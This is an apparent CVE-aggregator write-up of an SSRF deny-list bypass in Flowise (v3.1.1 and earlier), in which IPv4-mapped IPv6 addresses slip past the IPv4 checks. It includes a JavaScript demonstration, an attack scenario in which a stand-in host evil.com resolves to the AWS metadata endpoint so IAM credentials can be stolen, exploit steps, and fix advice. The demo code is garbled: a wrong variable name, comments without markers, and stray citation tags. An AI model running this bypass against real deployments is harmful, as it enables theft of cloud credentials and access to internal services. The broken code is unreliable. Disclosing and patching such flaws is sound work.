Listen to this Post
The vulnerability arises from Flowise’s HTTP security module (httpSecurity.ts) failing to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list【0†L1-L3】. The `isDeniedIP()` function uses `ipaddr.js` to parse and compare IP kinds. For an IPv4-mapped IPv6 address, `ipaddr.parse(‘::ffff:169.254.169.254’).kind()` returns 'ipv6', while the deny list entry `’169.254.169.254’` parses as 'ipv4'【0†L35-L43】. Since `’ipv6′ === ‘ipv4’` is false, all IPv4 CIDR checks are completely skipped【0†L44-L45】. The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do not cover the `::ffff:0:0/96` range where IPv4-mapped addresses reside, allowing these addresses to bypass all deny rules【0†L46-L48】.
An attacker who controls DNS resolution for a hostname can set a `AAAA` record to ::ffff:<target_ipv4>, such as `::ffff:169.254.169.254` (AWS metadata) or `::ffff:10.0.0.1` (internal service)【0†L50-L51】. When Flowise resolves the domain via dns.lookup(), it returns the IPv6-mapped address, and `isDeniedIP()` is called with that address—resulting in all IPv4 CIDR entries being skipped【0†L52-L57】. The request is then sent to the actual IPv4 target, completely bypassing SSRF protections【0†L58】. All code paths using secureAxiosRequest(), secureFetch(), and `checkDenyList()` are affected, including HTTP Node, ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank, ApiChain, Custom Function sandbox, Jira tool, MCP tool, and fetch-links service【0†L60-L67】. The vulnerability affects all versions up to and including v3.1.1, including versions where CVE-2026-31829 was supposedly patched (v3.0.13+)【0†L17-L20】.
DailyCVE Form:
Platform: Flowise
Version: <=v3.1.1
Vulnerability: SSRF Bypass
Severity: Critical
date: 2026-04-03
Prediction: 2026-04-10
What Undercode Say:
Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');
const denyList = [
'169.254.169.254/16', Cloud metadata
'10.0.0.0/8', RFC1918
'127.0.0.0/8', Loopback
'172.16.0.0/12', RFC1918
'192.168.0.0/16', RFC1918
];
Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); 'ipv4'
IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); '169.254.169.254'
Demonstrate the bypass
for (const entry of denyList) {
const [bash] = entry.split('/');
const parsedRange = ipaddr.parse(range);
const kindMatch = mappedIP.kind() === parsedRange.kind();
console.log(<code>${entry}: kind match = ${kindMatch}</code>); ALL false!
}
Attack Scenario (AWS Cloud):
1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
2. Attacker creates a chatflow with HTTP Node pointing to:
URL: http://evil.com/latest/meta-data/iam/security-credentials/
3. Flowise resolves evil.com -> ::ffff:169.254.169.254
4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
5. Request reaches AWS IMDS -> Returns IAM role credentials
Exploit:
- Register a domain with a `AAAA` record pointing to `::ffff:
` (e.g., AWS metadata at 169.254.169.254). - Configure a chatflow HTTP Node (or API Chain, Document Loader, etc.) to request
http://<attacker_domain>/latest/meta-data/. - Flowise resolves the domain to the IPv6-mapped address, and `isDeniedIP()` skips all IPv4 CIDR checks due to kind mismatch.
- The request is sent to the internal target, allowing access to cloud metadata, internal services, or localhost.
Protection:
- Normalize IPv4-mapped IPv6 to IPv4 before checking (recommended): if
parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress(), convert to IPv4 usingtoIPv4Address()【0†L142-L146】. - Add `::ffff:0:0/96` to the deny list to block all mapped addresses【0†L161-L168】.
- Also normalize in `resolveAndValidate()` to ensure deny list checks receive the normalized address【0†L171-L181】.
Impact:
- AWS/GCP/Azure Metadata (
169.254.169.254): Steal IAM credentials, service account tokens (Critical)【0†L123-L124】. - Internal services (
10.x.x.x,172.16.x.x,192.168.x.x): Access internal APIs, databases, admin panels (High)【0†L125-L126】. - Localhost (
127.0.0.1): Access Flowise’s own API with elevated privileges, access co-located services (High)【0†L127-L128】. - The bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution【0†L130-L131】.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
